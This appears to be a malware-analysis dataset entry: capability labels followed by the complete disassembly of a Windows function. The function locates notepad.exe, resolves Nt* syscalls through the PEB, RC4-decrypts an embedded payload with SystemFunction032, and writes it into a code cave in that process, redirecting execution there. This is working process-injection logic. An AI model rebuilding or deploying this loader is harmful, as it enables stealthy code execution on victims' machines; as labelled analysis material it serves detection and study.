Function at 0x1400017e0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encrypt data using rc4 via systemfunction032
Execute shellcode via indirect call
Get kernel32 base address
Get process filename

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r13
push r14
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rbp + 0x38], rax
xor r13d, r13d
lea rbx, [rbp + 0x18]
mov dword [rbp - 8], r13d
lea rsi, [rsp + 0x30]
mov rax, qword gs:[0x60]
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov edi, r13d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
mov rcx, qword [rax]
lea rax, str.NtQuerySystemInformation
mov qword [rsp + 0x30], rax
mov r14, qword [rcx + 0x20]
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rbx]
mov r9, qword [rsi]
lea rax, [rsp + 0x50]
mov rdx, r14
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x60]
movaps xmmword [rsp + 0x50], xmm0
call fcn.140001070
inc edi
lea rbx, [rbx + 0x10]
lea rsi, [rsi + 8]
movups xmm0, xmmword [rax]
movups xmmword [rbx - 0x10], xmm0
cmp edi, 1
jb 0x140001850
mov rsi, qword [rbp + 0x20]
movzx r14d, word [rbp + 0x18]
mov rdx, rsi
movzx ecx, r14w
mov qword [rsp + 0x178], r15
call fcn.140001e50
xor edx, edx
lea r9, [rbp - 8]
xor r8d, r8d
lea ecx, [rdx + 5]
call fcn.140001e68
mov eax, dword [rbp - 8]
test eax, eax
je 0x140001974
mov ecx, eax
mov edi, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r15, rax
test rax, rax
je 0x140001974
mov r8d, edi
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov rdx, rsi
movzx ecx, r14w
mov rbx, r15
call fcn.140001e50
lea r9, [rbp - 8]
mov r8d, edi
mov rdx, r15
mov ecx, 5
call fcn.140001e68
test eax, eax
jne 0x14000196b
cmp dword [r15], r13d
je 0x14000196b
lea r8, str.notepad.exe
mov rdx, qword [rbx + 0x40]
test rdx, rdx
je 0x140001961
mov rax, r13
movzx ecx, word [rdx + rax*2]
cmp cx, word [r8 + rax*2]
jne 0x140001961
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [r8 + rax*2 + 2]
jne 0x140001961
add rax, 2
cmp rax, 0xc
jne 0x140001923
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
movups xmm0, xmmword [rbx + 0x128]
lea rax, [rsp + 0x40]
movups xmmword [rsp + 0x40], xmm0
jmp 0x140001979
mov eax, dword [rbx]
add rbx, rax
cmp dword [rbx], r13d
jne 0x140001917
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [rsp + 0x30]
movups xmm0, xmmword [rax]
mov edi, r13d
lea rbx, [rbp + 0x18]
lea rsi, [rsp + 0x30]
movaps xmmword [rsp + 0x50], xmm0
xorps xmm0, xmm0
mov rax, qword gs:[0x60]
movups xmmword [rbp + 0x18], xmm0
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
mov rcx, qword [rax]
lea rax, str.NtOpenProcess
mov qword [rsp + 0x30], rax
mov r14, qword [rcx + 0x20]
nop dword [rax + rax]
movups xmm0, xmmword [rbx]
mov r9, qword [rsi]
lea rax, [rsp + 0x40]
mov rdx, r14
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
movaps xmmword [rsp + 0x40], xmm0
call fcn.140001070
inc edi
lea rbx, [rbx + 0x10]
lea rsi, [rsi + 8]
movups xmm0, xmmword [rax]
movups xmmword [rbx - 0x10], xmm0
cmp edi, 1
jb 0x1400019c0
mov rdx, qword [rbp + 0x20]
xorps xmm0, xmm0
movzx ecx, word [rbp + 0x18]
movdqu xmmword [rbp - 0x18], xmm0
mov qword [rsp + 0x170], r12
mov qword [rbp - 0x50], r13
mov dword [rbp - 0x38], 0x30
mov qword [rbp - 0x30], r13
mov dword [rbp - 0x20], r13d
mov qword [rbp - 0x28], r13
call fcn.140001e50
lea r9, [rsp + 0x50]
mov edx, 0x1fffff
lea r8, [rbp - 0x38]
lea rcx, [rbp - 0x50]
call fcn.140001e68
mov ecx, dword [rbp - 0x50]
test eax, eax
mov edx, 0xffffffff
cmovne ecx, edx
mov esi, ecx
test ecx, ecx
je 0x140001e13
mov ecx, esi
call fcn.140001590
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x140001e13
mov rcx, qword gs:[0x60]
lea rax, str.NtWriteVirtualMemory
xorps xmm0, xmm0
mov qword [rsp + 0x30], rax
movups xmmword [rbp + 0x18], xmm0
mov edi, r13d
lea rbx, [rbp + 0x18]
mov rdx, qword [rcx + 0x18]
lea r14, [rsp + 0x30]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rcx]
mov r15, qword [rdx + 0x20]
nop word [rax + rax]
movups xmm0, xmmword [rbx]
mov r9, qword [r14]
lea rax, [rsp + 0x40]
mov rdx, r15
mov qword [rsp + 0x20], rax
lea rcx, [rbp - 0x80]
movaps xmmword [rsp + 0x40], xmm0
call fcn.140001070
inc edi
lea rbx, [rbx + 0x10]
lea r14, [r14 + 8]
movups xmm0, xmmword [rax]
movups xmmword [rbx - 0x10], xmm0
cmp edi, 1
jb 0x140001ab0
mov ecx, 0x5000
mov ebx, r13d
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdx, qword [r12 + 0x10]
mov r9d, 0x5000
mov r8, rax
mov qword [rsp + 0x20], r13
mov rcx, rsi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, r13d
mov rax, r13
nop word [rax + rax]
inc ebx
lea ecx, [rcx + 1]
cmp byte [rax + rdi], r13b
lea rdi, [rdi + 1]
lea rax, [rax + 1]
cmovne ebx, r13d
cmp ebx, 0x500
jne 0x140001b20
lea r15d, [rcx - 0x500]
mov dword [rbp - 0x48], 0x10
add r15, qword [r12 + 0x10]
lea rax, [0x1400052a0]
lea rbx, [0x1400050d0]
mov qword [rbp - 8], r15
lea rcx, str.Advapi32
mov dword [rbp], r13d
mov dword [rbp - 0x44], 0x10
mov qword [rbp - 0x40], rax
mov dword [rbp + 0x28], 0x1cc
mov dword [rbp + 0x2c], 0x1cc
mov qword [rbp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x28]
call rax
test eax, eax
je 0x140001bbc
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
lea rax, [rbp]
mov r9d, 0x40
mov r8d, 0x1cc
mov qword [rsp + 0x20], rax
mov rdx, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140001e0f
mov rdx, qword [rbp + 0x20]
movzx ecx, word [rbp + 0x18]
call fcn.140001e50
mov r9d, 0x1cc
mov qword [rsp + 0x20], r13
mov r8, rbx
mov rdx, r15
mov rcx, rsi
call fcn.140001e68
test eax, eax
jne 0x140001e0f
mov qword [0x1400050c2], r15
mov r9d, 4
mov rax, qword [r12 + 8]
lea r8d, [r9 + 8]
mov rcx, qword [rax]
lea rax, [rbp + 8]
mov qword [0x140005292], rcx
mov rcx, rsi
mov r13, qword [r12 + 8]
mov rdx, r13
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140001d1e
mov dword [rbp + 4], 0
lea rbx, [rbp + 0x28]
mov rax, qword gs:[0x60]
lea r14, [rsp + 0x30]
xorps xmm0, xmm0
xor edi, edi
movups xmmword [rbp + 0x28], xmm0
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
mov rcx, qword [rax]
lea rax, str.NtWriteVirtualMemory
mov qword [rsp + 0x30], rax
mov r15, qword [rcx + 0x20]
movups xmm0, xmmword [rbx]
mov r9, qword [r14]
lea rax, [rsp + 0x40]
mov rdx, r15
mov qword [rsp + 0x20], rax
lea rcx, [rbp - 0x70]
movaps xmmword [rsp + 0x40], xmm0
call fcn.140001070
inc edi
lea rbx, [rbx + 0x10]
lea r14, [r14 + 8]
movups xmm0, xmmword [rax]
movups xmmword [rbx - 0x10], xmm0
cmp edi, 1
jb 0x140001c92
mov rdx, qword [rbp + 0x30]
movzx ecx, word [rbp + 0x28]
call fcn.140001e50
lea rax, [rbp + 4]
mov r9d, 0xc
lea r8, [0x1400050c0]
mov qword [rsp + 0x20], rax
mov rdx, r13
mov rcx, rsi
call fcn.140001e68
mov r15, qword [rbp - 8]
test eax, eax
jne 0x140001d1e
mov r9d, 0x20
lea rax, [rbp + 8]
mov rdx, r13
mov qword [rsp + 0x20], rax
mov rcx, rsi
lea r8d, [r9 - 0x14]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rbp + 8], r15
lea rbx, [rbp + 0x28]
mov rax, qword gs:[0x60]
lea r14, [rsp + 0x30]
mov r15, qword [r12]
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
xor edi, edi
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
mov rcx, qword [rax]
lea rax, str.NtWriteVirtualMemory
mov qword [rsp + 0x30], rax
mov r12, qword [rcx + 0x20]
nop dword [rax]
movups xmm0, xmmword [rbx]
mov r9, qword [r14]
lea rax, [rsp + 0x40]
mov rdx, r12
mov qword [rsp + 0x20], rax
lea rcx, [rbp - 0x60]
movaps xmmword [rsp + 0x40], xmm0
call fcn.140001070
inc edi
lea rbx, [rbx + 0x10]
lea r14, [r14 + 8]
movups xmm0, xmmword [rax]
movups xmmword [rbx - 0x10], xmm0
cmp edi, 1
jb 0x140001d60
mov r9d, 4
lea rax, [rbp + 0x14]
mov rdx, r15
mov qword [rsp + 0x20], rax
mov rcx, rsi
lea r8d, [r9 + 8]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140001e0f
mov rdx, qword [rbp + 0x30]
movzx ecx, word [rbp + 0x28]
mov dword [rbp + 0x10], 0
call fcn.140001e50
lea rax, [rbp + 0x10]
mov r9d, 0xc
lea r8, [rbp + 8]
mov qword [rsp + 0x20], rax
mov rdx, r15
mov rcx, rsi
call fcn.140001e68
test eax, eax
jne 0x140001e0f
mov r9d, 0x20
lea rax, [rbp + 0x14]
mov rdx, r15
mov qword [rsp + 0x20], rax
mov rcx, rsi
lea r8d, [r9 - 0x14]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
xor eax, eax
jmp 0x140001e18
mov eax, 0xffffffff
mov r15, qword [rsp + 0x178]
mov r12, qword [rsp + 0x170]
mov rcx, qword [rbp + 0x38]
xor rcx, rsp
call fcn.140001e90
mov rbx, qword [rsp + 0x180]
add rsp, 0x140
pop r14
pop r13
pop rdi
pop rsi
pop rbp
ret